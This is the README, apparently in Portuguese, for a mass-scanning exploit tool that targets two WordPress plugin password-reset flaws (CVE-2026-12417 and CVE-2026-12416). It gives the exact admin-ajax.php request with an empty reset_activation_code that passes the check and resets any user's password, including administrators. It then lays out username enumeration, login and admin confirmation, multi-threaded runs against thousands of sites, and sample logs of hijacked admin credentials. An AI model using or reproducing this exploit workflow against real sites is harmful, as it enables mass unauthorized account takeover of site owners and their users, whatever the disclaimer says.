
Tomada de Conta Não Autenticada via Validação Fraca de Redefinição de Senha pelo Parâmetro 'reset_user_id' | Escalação de Privilégio Não Autenticada via Validação Fraca de Redefinição de Senha pelo 'reset_activation_code' Levando à Tomada de Conta
Assunção de Conta Não Autenticada via Validação Fraca de Redefinição de Senha através do Parâmetro 'reset_user_id' | Escalação de Privilégio Não Autenticada via Validação Fraca de Redefinição de Senha através de 'reset_activation_code' Levando à Assunção de Conta
Por: Khaled Alenazi (Nxploited)
Escalação de Privilégio Não Autenticada via Validação Fraca de Redefinição de Senha
| Campo | Valor |
|---|---|
| CVSS | 9.8 Crítico |
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Publicado | 23 de Junho de 2026 |
| Pesquisador | Alyudin Nafiie |
A função pravel_change_password() é registrada como um manipulador wp_ajax_nopriv — acessível sem autenticação. Ela não realiza verificação de nonce nem verificação de capacidade. A única proteção é uma comparação de igualdade solta entre o reset_activation_code fornecido pelo atacante e o meta valor forgot_email do usuário. Para qualquer usuário que nunca acionou uma redefinição de senha, get_user_meta() retorna uma string vazia, o que trivialmente satisfaz '' == '' contra um código omitido ou vazio. Um atacante não autenticado pode, portanto, enviar um POST malicioso para admin-ajax.php com action=pravel_change_password, reset_user_id definido para qualquer ID de usuário (incluindo contas de administrador) e new_password_custom definido para uma senha arbitrária — alcançando a assunção total da conta.
Assunção de Conta Não Autenticada via Validação Fraca de Redefinição de Senha
| Campo | Valor |
|---|---|
| CVSS | 9.8 Crítico |
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Publicado | 23 de Junho de 2026 |
| Pesquisador | Alyudin Nafiie |
A função pravel_invoice_change_password() também é exposta como um manipulador AJAX nopriv sem nonce e sem verificação de autorização. A mesma falha '' == '' se aplica: fornecer um reset_activation_code vazio contra um administrador que nunca usou o fluxo de esqueci a senha concede redefinição imediata de senha. O atacante controla o alvo via reset_user_id e a nova credencial via new_password_custom.
Para cada site alvo:
1. Sonda AJAX (caminho rápido — IDs 1 e 2)
POST /wp-admin/admin-ajax.php
action=pravel_change_password (CVE-2026-12417)
action=pravel_invoice_change_password (CVE-2026-12416)
reset_user_id=<id>
new_password_custom=<fixed_password>
reset_activation_code= ← vazio — contorna a verificação
Resposta em caso de sucesso:
{"activation":true,"message":"Password has been changed successfully"}
2. Resolução de Nome de Usuário (preguiçosa — só é executada após redefinição confirmada)
a. GET /wp-json/wp/v2/users/<id> ← nome de usuário exato para o ID de redefinição
b. "admin" ← sempre tentado em segundo lugar
c. GET /wp-json/wp/v2/users ← lista em massa da API REST
d. /?author=1..3 redirect ← varredura de arquivo de autor
3. Verificação de Login
POST /wp-login.php
log=<username> pwd=<password>
Verificar cookie wordpress_logged_in.
4. Confirmação de Administrador
GET /wp-admin/users.php
Requer capacidade list_users — apenas administradores.
Qualquer mensagem de negação ou redirecionamento de login → não é admin, pular.
5. Em Administrador Confirmado
Salvar em scan_results/pravel_admin_success.txt:
SITE | LOGIN URL | user | pass | exploit | id
Imprimir linha de resultado no terminal.
6. Varredura Estendida (se IDs 1–2 falharem ambos)
Repetir etapas 1–5 para IDs de usuário 3 a 20.
Terminal:
[1/5000] https://target.com NÃO
[2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
[3/5000] https://another.com NÃO
Arquivo de resultados (scan_results/pravel_admin_success.txt):
[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1
python Cl.py
Arquivo de alvos (uma URL por linha) [targets.txt]: sites.txt
Threads (sites concorrentes) [50]: 100
Requisitos:
pip install requests rich colorama urllib3
Esta ferramenta é fornecida apenas para pesquisa de segurança autorizada e testes de penetração.
O uso contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito é ilegal.
O autor não assume nenhuma responsabilidade por qualquer uso indevido ou dano causado por esta ferramenta.
Todos os detalhes das CVE são provenientes de bancos de dados públicos de vulnerabilidades.
Por: Khaled Alenazi (Nxploited)